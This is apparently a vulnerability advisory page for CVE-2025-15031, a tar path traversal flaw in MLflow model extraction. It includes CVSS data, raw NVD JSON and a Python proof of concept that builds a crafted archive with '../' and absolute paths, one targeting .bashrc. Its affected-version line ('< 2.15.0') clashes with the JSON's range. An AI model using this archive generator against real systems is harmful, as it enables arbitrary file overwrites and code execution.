Security Vulnerability Report
中文
CVE-2025-15031 CVSS 9.1 CRITICAL

CVE-2025-15031

Published: 2026-03-18 23:17:29
Last Modified: 2026-03-23 17:48:45

Description

A vulnerability in MLflow's pyfunc extraction process allows for arbitrary file writes due to improper handling of tar archive entries. Specifically, the use of `tarfile.extractall` without path validation enables crafted tar.gz files containing `..` or absolute paths to escape the intended extraction directory. This issue affects the latest version of MLflow and poses a high/critical risk in scenarios involving multi-tenant environments or ingestion of untrusted artifacts, as it can lead to arbitrary file overwrites and potential remote code execution.

CVSS Details

CVSS Score
9.1
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:lfprojects:mlflow:*:*:*:*:*:*:*:* - VULNERABLE
MLflow < 2.15.0 (latest version affected)
MLflow pyfunc module versions with tarfile.extractall() without path validation

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # CVE-2025-15031 PoC - Malicious tar archive generator # This PoC demonstrates the path traversal vulnerability in MLflow's pyfunc extraction import tarfile import os import io def create_malicious_tar(tar_path): """ Create a malicious tar.gz file that exploits the path traversal vulnerability in MLflow's tarfile.extractall() usage """ malicious_files = [ # Path traversal to write to /tmp (example) ('../../../tmp/mlflow_poc_test', 'malicious_content'), # Absolute path example - write to /tmp ('/tmp/mlflow_absolute_path_test', 'absolute_path_poc'), # Write to home directory ('../../../../home/.bashrc', '# Injected via CVE-2025-15031\n# Malicious code here\n'), ] with tarfile.open(tar_path, 'w:gz') as tar: for filename, content in malicious_files: # Create a TarInfo object with malicious path info = tarfile.TarInfo(name=filename) info.size = len(content.encode()) info.mode = 0o644 # Add the file to the archive tar.addfile(info, io.BytesIO(content.encode())) print(f'[+] Created malicious tar archive: {tar_path}') print(f'[+] Contains {len(malicious_files)} path traversal entries') def simulate_mlflow_extraction(tar_path, extract_dir='./mlflow_models'): """ Simulate the vulnerable extraction in MLflow's pyfunc module This mimics the insecure usage of tarfile.extractall() """ print(f'[*] Simulating MLflow extraction to: {extract_dir}') # Vulnerable code pattern (found in MLflow) with tarfile.open(tar_path, 'r:gz') as tar: # VULNERABLE: No path validation before extractall tar.extractall(path=extract_dir) print('[+] Extraction completed (vulnerable behavior)') print('[+] Files may have been written outside target directory!') if __name__ == '__main__': import sys tar_path = 'malicious_model.tar.gz' # Step 1: Create the malicious archive create_malicious_tar(tar_path) # Step 2: Simulate MLflow extraction if len(sys.argv) > 1 and sys.argv[1] == '--extract': extract_dir = sys.argv[2] if len(sys.argv) > 2 else './test_models' simulate_mlflow_extraction(tar_path, extract_dir) # Verify path traversal check_paths = [ '/tmp/mlflow_poc_test', '/tmp/mlflow_absolute_path_test', ] for path in check_paths: if os.path.exists(path): print(f'[!!] VULNERABLE: File written to {path}') # Usage: # python cve_2025_15031_poc.py # python cve_2025_15031_poc.py --extract ./safe_dir

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-15031", "sourceIdentifier": "[email protected]", "published": "2026-03-18T23:17:28.693", "lastModified": "2026-03-23T17:48:45.340", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability in MLflow's pyfunc extraction process allows for arbitrary file writes due to improper handling of tar archive entries. Specifically, the use of `tarfile.extractall` without path validation enables crafted tar.gz files containing `..` or absolute paths to escape the intended extraction directory. This issue affects the latest version of MLflow and poses a high/critical risk in scenarios involving multi-tenant environments or ingestion of untrusted artifacts, as it can lead to arbitrary file overwrites and potential remote code execution."}, {"lang": "es", "value": "Una vulnerabilidad en el proceso de extracción pyfunc de MLflow permite escrituras arbitrarias de archivos debido a un manejo inadecuado de las entradas de archivos tar. Específicamente, el uso de 'tarfile.extractall' sin validación de ruta permite que archivos tar.gz manipulados que contienen '..' o rutas absolutas escapen del directorio de extracción previsto. Este problema afecta a la última versión de MLflow y plantea un riesgo alto/crítico en escenarios que involucran entornos multi-inquilino o la ingesta de artefactos no confiables, ya que puede conducir a sobrescrituras arbitrarias de archivos y potencial ejecución remota de código."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 5.2}], "cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:lfprojects:mlflow:*:*:*:*:*:*:*:*", "versionEndIncluding": "3.10.1", "matchCriteriaId": "C1C49CD5-5BB0-422B-9A71-5A6832DF6713"}]}]}], "references": [{"url": "https://huntr.com/bounties/09856f77-f968-446f-a930-657d126efe4e", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory", "Mitigation"]}, {"url": "https://huntr.com/bounties/09856f77-f968-446f-a930-657d126efe4e", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory", "Mitigation"]}]}}